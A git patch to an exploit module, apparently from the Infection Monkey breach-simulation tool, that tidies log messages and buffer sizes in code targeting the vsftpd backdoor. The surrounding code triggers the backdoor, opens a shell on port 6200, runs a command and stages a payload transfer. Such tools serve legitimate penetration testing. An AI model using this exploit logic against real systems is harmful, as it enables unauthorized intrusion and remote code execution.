From 01cc702906d5e37a846f8308a14a48a4c138f8f3 Mon Sep 17 00:00:00 2001 From: Dhayalan Date: Wed, 13 Mar 2019 11:31:26 +0100 Subject: [PATCH] Update vsftpd.py Removed (+,! ) used for debugging. Changed the recv size from 1024 to 128 --- monkey/infection_monkey/exploit/vsftpd.py | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py index e32f1fd80..2f072cb7c 100644 --- a/monkey/infection_monkey/exploit/vsftpd.py +++ b/monkey/infection_monkey/exploit/vsftpd.py @@ -31,31 +31,31 @@ class VSFTPDExploiter(HostExploiter): def exploit_host(self): try: - LOG.info('[*] Attempting to trigger backdoor...') + LOG.info('Attempting to trigger backdoor...') ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp_socket.connect((self.host.ip_addr, FTP_PORT)) - ftp_socket.recv(1024).decode('utf-8') + ftp_socket.recv(128).decode('utf-8') # Attempt to login to trigger backdoor ftp_socket.send(USERNAME) - ftp_socket.recv(1024).decode('utf-8') + ftp_socket.recv(128).decode('utf-8') ftp_socket.send(PASSWORD) time.sleep(1) ftp_socket.close() - LOG.info('[+] Triggered backdoor') + LOG.info('Triggered backdoor') except socket.error as e: - LOG.error('[!] Failed to trigger backdoor on %s' , self.host.ip_addr) + LOG.error('Failed to trigger backdoor on %s' , self.host.ip_addr) try: - LOG.info('[*] Attempting to connect to backdoor...') + LOG.info('Attempting to connect to backdoor...') backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) backdoor_socket.connect((self.host.ip_addr, 6200)) - LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) + LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) command = str.encode("uname -m" + '\n') backdoor_socket.send(command) - response = backdoor_socket.recv(1024).decode('utf-8') - LOG.info('[+] Response for uname -m: %s', response) + response = backdoor_socket.recv(128).decode('utf-8') + LOG.info('Response for uname -m: %s', response) if '' != response.lower().strip(): #command execution is successful self.host.os['machine'] = response.lower().strip() @@ -72,7 +72,7 @@ class VSFTPDExploiter(HostExploiter): return False - LOG.info('[+] Connected to backdoor on %s:6200', self.host.ip_addr) + LOG.info('Connected to backdoor on %s:6200', self.host.ip_addr) #copy the monkey into the machine http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) @@ -113,7 +113,7 @@ class VSFTPDExploiter(HostExploiter): self._exploit_info['Vulnerability'] = {"Success":"True"} except socket.error as e: - LOG.error('[!] Failed to connect to backdoor on %s:6200', self.host.ip_addr) + LOG.error('Failed to connect to backdoor on %s:6200', self.host.ip_addr) LOG.error('Error Connecting to backdoor. Error: %s' % e) return False